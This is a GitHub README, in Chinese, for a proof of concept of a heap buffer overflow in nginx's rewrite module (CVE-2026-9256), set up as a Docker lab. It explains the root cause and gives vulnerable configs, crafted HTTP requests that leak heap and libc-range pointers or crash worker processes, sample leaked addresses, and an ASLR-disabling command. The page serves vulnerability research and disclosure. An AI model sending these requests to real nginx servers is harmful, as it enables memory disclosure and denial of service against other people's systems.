3nou9h/CVE-2026-9256-Poc

GitHub: 3nou9h/CVE-2026-9256-Poc

该项目是 nginx ngx_http_rewrite_module 堆缓冲区溢出漏洞(CVE-2026-9256)的概念验证工具,包含堆指针泄漏、libc 泄漏和 DoS 崩溃三个阶段的 PoC 及 Docker 测试环境。

Stars: 2 | Forks: 1

# nginx ngx_http_rewrite_module 堆缓冲区溢出 ## 描述 nginx Plus 和 nginx 开源版 `ngx_http_rewrite_module` 包含一个堆缓冲区溢出漏洞。当 `rewrite` 指令使用了带有多个重叠 PCRE 捕获组的正则表达式(例如 `^/((.*))$`),并且替换内容引用了多个捕获组(例如 `$1&y=$2`)时,静态路径的缓冲区大小计算会低估所需的内存空间,导致实际写入超过了分配的大小(Pool Slip)。 未经身份验证的攻击者可以通过精心构造的 HTTP 请求触发此漏洞,从而导致 worker 进程发生堆缓冲区溢出。当 ASLR 被禁用或可以被绕过时,可能会发生代码执行。 ## 根本原因 **文件**: `src/http/ngx_http_script.c:1143-1155` ``` if (code->lengths == NULL) { e->buf.len = code->size; if (code->uri) { if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) { // BUG: escape overhead counted once for the entire URI e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len, NGX_ESCAPE_ARGS); } } for (n = 2; n < r->ncaptures; n += 2) { e->buf.len += r->captures[n + 1] - r->captures[n]; // raw length } } ``` 每个 `$N` 在复制过程中都会被独立转义(`ngx_http_script.c:1397-1401`)。嵌套捕获会导致同一个子字符串被转义两次,从而使转义消耗的空间翻倍,但内存分配却只计算了一次。 **溢出公式**(2 层嵌套 `((.+))`,URI 中包含 Q 个 `+` 字符): ``` allocated = code_size + 2*Q + 2*(Q+1) actual = code_size + 2*(3*Q + 1) overflow = 2*Q (precisely controllable) ``` **触发条件**(需同时满足以下三个条件): | 条件 | 详情 | |-----------|--------| | 无命名变量,无重复的 `$N` | 静态路径(`sc.variables==0 && !sc.dup_capture`) | | 正则表达式中存在嵌套捕获组 | 例如 `((.+))` 会使得 `$1` 和 `$2` 匹配相同的内容 | | URI 中存在 `+` 或 `%XX` | 触发转义路径(`plus_in_uri` 或 `quoted_uri`) | ## 测试环境 ### 要求 - Docker(包含 docker compose) - Python 3(无第三方依赖) ### 目录结构 ``` . ├── env/ │ ├── Dockerfile # Based on nginx:1.31.0 │ ├── docker-compose.yml # Container config (SYS_PTRACE) │ ├── entrypoint.sh # ASLR on (default) │ ├── entrypoint_aslr_off.sh # ASLR off (for libc_leak) │ └── nginx.conf # Vulnerable config ├── heap_leak.py # heap_leak PoC ├── libc_leak.py # libc_leak PoC ├── crash_verify.py # crash_verify PoC ├── LICENSE └── README.md ``` ### 构建与运行 ``` cd env/ # 拉取 base image (~200MB) docker pull nginx:1.31.0 # Build 和启动 docker compose up --build -d # 验证 curl -s http://127.0.0.1:19321/ # 预期:ok ``` ### 常用命令 ``` # 查看 nginx 日志(崩溃信息) docker compose logs -f # 停止并移除 docker compose down # 重启(崩溃后) docker compose restart ``` ### ASLR **检查当前状态**: ``` cat /proc/sys/kernel/randomize_va_space # 0 = off,1 = partial,2 = full ``` heap_leak 和 crash_verify 无论 ASLR 是否开启都能正常工作。libc_leak 则需要宿主机关闭 ASLR: ``` sudo sysctl -w kernel.randomize_va_space=0 docker compose restart ``` 或者,仅针对 nginx 进程关闭 ASLR(不需要宿主机权限): 将 `entrypoint_aslr_off.sh` 覆盖 `entrypoint.sh`,然后执行 `docker compose up --build -d`。 ## 验证结果 ### 堆指针泄漏 **所需配置**: ``` location /echo/ { rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last; } location /show { internal; default_type text/plain; return 200 "x=$arg_x\ny=$arg_y\n"; } ``` **机制**:Pool Slip 导致 `ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t))` 落入溢出区域。脚本引擎已初始化的字段(`e->ip`, `e->sp`, `e->request`)泄漏到重写后的 URI 查询字符串中,并通过 `return 200 "$arg_y"` 返回。 **请求**: ``` GET /echo/%25%25%25%25%25A HTTP/1.0 ``` **验证结果**(nginx:1.31.0,开启 ASLR): ``` e->ip = 0x00006544dec82430 (config pool codes array) e->sp = 0x00006544dec5ada0 (request pool script stack) e->request = 0x00006544dec58880 (request struct) ``` **泄漏内容**:nginx worker 地址空间内的原始堆指针。 **PoC**:`heap_leak.py` ### libc 范围指针泄漏 **所需配置**: ``` location /leak2/ { rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last; } location /proxy-leak { internal; proxy_pass http://backend; # must be reachable add_header X-Leak-Y "$arg_y" always; } ``` **机制**:proxy_pass 触发上游初始化。包含库函数指针的上游结构体被分配到溢出区域中。`add_header "$arg_y"` 将这些原始字节写入响应头。 **请求**: ``` GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0 ``` **验证结果**(nginx:1.31.0,关闭 ASLR,request_pool_size=7920): ``` leaked ptr = 0x00007fbfc3b7c346 ``` **泄漏内容**:位于 `0x7f...` 范围内的原始指针(libc 加载区域)。要计算 libc 基址,请在目标机器上读取 `/proc//maps`,并计算 `leaked_ptr - libc_base`。 **ASLR 依赖性**:此阶段需要关闭 ASLR。泄漏的指针源自被释放的 chunk 元数据(fd/bk → main_arena)。如果开启 ASLR,被释放的 chunk 偏移量会发生变化,微小的溢出无法可靠地触及该指针。 **PoC**:`libc_leak.py` ### Worker 崩溃 (DoS) **所需配置**: ``` location /leak9/ { rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last; } location /show9 { internal; default_type text/plain; return 200 "i=$arg_i\n"; } ``` **机制**:9 层嵌套产生的溢出为 16*Q(相比之下,2 层为 2*Q)。在 request_pool_size=7920 时,Q=123 会超出 pool 块边界,覆盖相邻的 malloc chunk 元数据。glibc 检测到内存损坏并终止 worker 进程。Master 进程会自动重启。 **请求**: ``` GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0 ``` **验证结果**(nginx:1.31.0,request_pool_size=7920): ``` Q=122: normal response (overflow=1952B) Q=123: no response, nginx error.log: corrupted size vs. prev_size worker process XX exited on signal 6 (core dumped) Reproduced 5/5 times. ``` **嵌套与 pool_size 的关系**:N 层嵌套产生的溢出为 `(N-1)*2*Q`。默认 pool_size=4096 配合 9 层嵌套足以导致崩溃。pool_size 越大,在给定 Q 值下所需的嵌套层数就越少。 **PoC**:`crash_verify.py` ## 运行 PoC ``` # 阶段 1:Heap 指针泄漏 python3 heap_leak.py 127.0.0.1 19321 # 阶段 2:libc-range 指针泄漏(需要关闭 ASLR) python3 libc_leak.py 127.0.0.1 19321 # 阶段 3:DoS 崩溃 python3 crash_verify.py 127.0.0.1 19321 ``` ## 免责声明 此概念验证仅用于教育和授权安全研究目的。严禁未经授权使用。
标签:C/C++, Nginx, 事务性I/O, 堆溢出, 底层安全, 漏洞分析, 请求拦截, 路径探测, 逆向工具